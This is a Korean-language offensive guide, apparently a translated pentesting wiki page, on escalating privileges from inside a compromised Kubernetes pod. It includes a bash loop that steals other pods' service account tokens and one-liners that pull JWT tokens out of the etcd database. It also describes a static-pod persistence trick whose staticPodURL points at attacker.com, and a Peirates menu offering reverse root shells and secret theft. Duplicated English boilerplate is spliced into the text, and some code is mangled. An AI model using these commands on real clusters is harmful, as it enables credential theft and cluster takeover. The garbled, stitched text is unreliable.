파드가 클라우드 환경에서 실행 중인 경우 메타데이터 엔드포인트에서 토큰을 노출하고 해당 토큰을 사용하여 권한을 상승할 수 있습니다.
취약한 네트워크 서비스 검색
Kubernetes 환경 내부에 있으므로 현재 파드의 권한을 남용하여 권한 상승을 할 수 없거나 컨테이너에서 탈출할 수 없는 경우 잠재적으로 취약한 서비스를 찾아야 합니다.
서비스
이를 위해 Kubernetes 환경의 모든 서비스를 가져오려고 할 수 있습니다:
kubectl get svc --all-namespaces
기본적으로 Kubernetes는 평면 네트워킹 스키마를 사용하며, 이는 클러스터 내의 모든 pod/service가 서로 통신할 수 있다는 것을 의미합니다. 클러스터 내의 네임스페이스는 기본적으로 네트워크 보안 제한이 없습니다. 네임스페이스 내의 누구나 다른 네임스페이스와 통신할 수 있습니다.
스캐닝
다음 Bash 스크립트( Kubernetes workshop에서 가져옴)는 Kubernetes 클러스터의 IP 범위를 설치하고 스캔합니다:
컴프라마이즈된 파드가 민감한 서비스를 실행하는 경우 다른 파드가 인증해야 하는 경우, 로컬 통신을 스니핑하여 다른 파드로부터 전송된 자격 증명을 획득할 수 있을 수 있습니다.
네트워크 스푸핑
기본적으로 ARP 스푸핑과 (그로 인한 DNS 스푸핑 덕분에) 같은 기법들이 쿠버네티스 네트워크에서 작동합니다. 그리고 파드 내에서, NET_RAW 능력이 있다면 (기본적으로 제공됨), 사용자 정의로 제작된 네트워크 패킷을 보낼 수 있고 동일 노드에서 실행 중인 모든 파드에 대해 ARP 스푸핑을 통한 MitM 공격을 수행할 수 있을 것입니다.
게다가, 악의적인 파드가 DNS 서버와 동일한 노드에서 실행 중인 경우, 클러스터 내 모든 파드에 대해 DNS 스푸핑 공격을 수행할 수 있을 것입니다.
노드 DoS
쿠버네티스 매니페스트에는 자원에 대한 명세가 없으며 컨테이너에 대한 적용된 제한 범위가 없습니다. 공격자로서, 파드/배포가 실행 중인 모든 자원을 소비하여 다른 자원을 고갈시키고 환경에 대한 DoS를 유발할 수 있습니다.
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
스크립트 can-they.sh은 자동으로 다른 팟의 토큰을 가져와 권한을 확인하여 원하는 권한이 있는지 확인합니다 (1대1로 확인하는 대신):
컨테이너를 실행할 노드의 nodeName를 지정할 수 있다면, 제어 플레인 노드 내에서 쉘을 획들하고 etcd 데이터베이스를 가져옵니다:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane 노드는 마스터 역할을 갖고 있으며 클라우드 관리 클러스터에서는 해당 노드에서 아무 것도 실행할 수 없습니다.
etcd에서 시크릿 읽기
팟 스펙에서 nodeName 셀렉터를 사용하여 컨트롤 플레인 노드에서 팟을 실행할 수 있다면, 클러스터의 모든 구성물 및 모든 시크릿을 포함하는 etcd 데이터베이스에 쉽게 액세스할 수 있습니다.
아래는 현재 작업 중인 컨트롤 플레인 노드에서 실행 중인 etcd에서 시크릿을 가져오는 빠르고 간단한 방법입니다. etcdctl 클라이언트 유틸리티를 사용하여 팟을 생성하고 해당 팟을 사용하여 어디에서든 실행 중인 etcd에 연결하는 컨트롤 플레인 노드의 자격 증명을 사용하는 더 우아한 솔루션을 원한다면, @mauilion의 이 예제 매니페스트를 확인하세요.
컨트롤 플레인 노드에서 etcd가 실행 중인지 확인하고 데이터베이스가 어디에 있는지 확인합니다 (이는 kubeadm으로 생성된 클러스터에서 진행됩니다)
## Attacking Kubernetes from Inside a PodIn a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:
1. **Pod Escape**: Exploiting misconfigurations to break out of the pod and access the host machine.2. **Service Account Compromise**: Accessing sensitive resources by compromising service accounts within the pod.3. **Network Sniffing**: Monitoring network traffic to intercept sensitive information.4. **Pod to Pod Communication**: Eavesdropping on communication between pods to gather valuable data.5. **Resource Exhaustion**: Consuming excessive resources within the pod to disrupt the cluster's performance.To prevent these attacks, it is crucial to follow security best practices such as implementing network policies, restricting pod permissions, and regularly auditing cluster configurations.
data-dir=/var/lib/etcd
etcd 데이터베이스의 데이터 보기:
strings/var/lib/etcd/member/snap/db|less
데이터베이스에서 토큰을 추출하고 서비스 계정 이름을 표시합니다
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
동일한 명령어이지만 kube-system 네임스페이스에서 기본 토큰만 반환하도록 일부 greps를 추가합니다
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a PodIn a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:
1. **Accessing the Kubernetes API**: An attacker can access the Kubernetes API from inside a compromised pod, allowing them to gather information about the cluster and potentially perform further attacks.
2. **Mounting Host Paths**: By mounting host paths to a pod, an attacker can access sensitive host resources such as configuration files or other pods' data.
3. **Exploiting Service Accounts**: Service accounts are used by pods to authenticate with the Kubernetes API. If an attacker gains access to a pod's service account token, they can perform actions on behalf of that service account.
4. **Pod Escape**: In some cases, it may be possible for an attacker to break out of the pod's environment and gain access to the underlying node, allowing for further compromise of the cluster.
To mitigate these risks, it is essential to follow security best practices such as restricting pod permissions, limiting access to the Kubernetes API, and regularly monitoring pod activities for any suspicious behavior.
_정적 파드_는 API 서버가 관찰하지 않고 특정 노드의 kubelet 데몬에 의해 직접 관리됩니다. (예: 배포와 같이) kubelet는 각 정적 파드를 감시하며 (실패 시 다시 시작합니다).
따라서 정적 파드는 항상 특정 노드의 하나의 Kubelet에 바인딩됩니다.
kubelet은 자동으로 Kubernetes API 서버에 대한 미러 파드를 생성하려고 시도합니다. 이는 노드에서 실행 중인 파드가 API 서버에 표시되지만 거기서 제어할 수 없다는 것을 의미합니다. 파드 이름은 노드 호스트 이름과 선행 하이픈이 붙은 접미사가 될 것입니다.
정적 파드의 spec은 다른 API 객체를 참조할 수 없습니다 (예: ServiceAccount, ConfigMap, Secret 등). 따라서 현재 노드에서 임의의 ServiceAccount로 파드를 시작하여 클러스터를 침해할 수는 없습니다. 그러나 이를 사용하여 다른 네임스페이스에서 파드를 실행할 수는 있습니다 (어떤 이유로 유용할 수 있음).
노드 호스트 내부에 있다면 자체 내부에 정적 파드를 생성할 수 있습니다. 이는 kube-system과 같은 다른 네임스페이스에 파드를 생성할 수 있기 때문에 매우 유용합니다.
kubelet 서비스 또는 kubelet 구성에서 --pod-manifest-path=/etc/kubernetes/manifests 매개변수를 구성하고 서비스를 다시 시작합니다 (staticPodPath)
**/etc/kubernetes/manifests**의 파드 정의에 정의를 생성합니다
더 은밀한 방법은 다음과 같습니다:
kubelet 구성 파일에서 staticPodURL 매개변수를 수정하여 staticPodURL: http://attacker.com:8765/pod.yaml과 같이 설정합니다. 이렇게 하면 kubelet 프로세스가 지정된 URL에서 구성을 가져와 정적 파드를 생성하게 됩니다.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates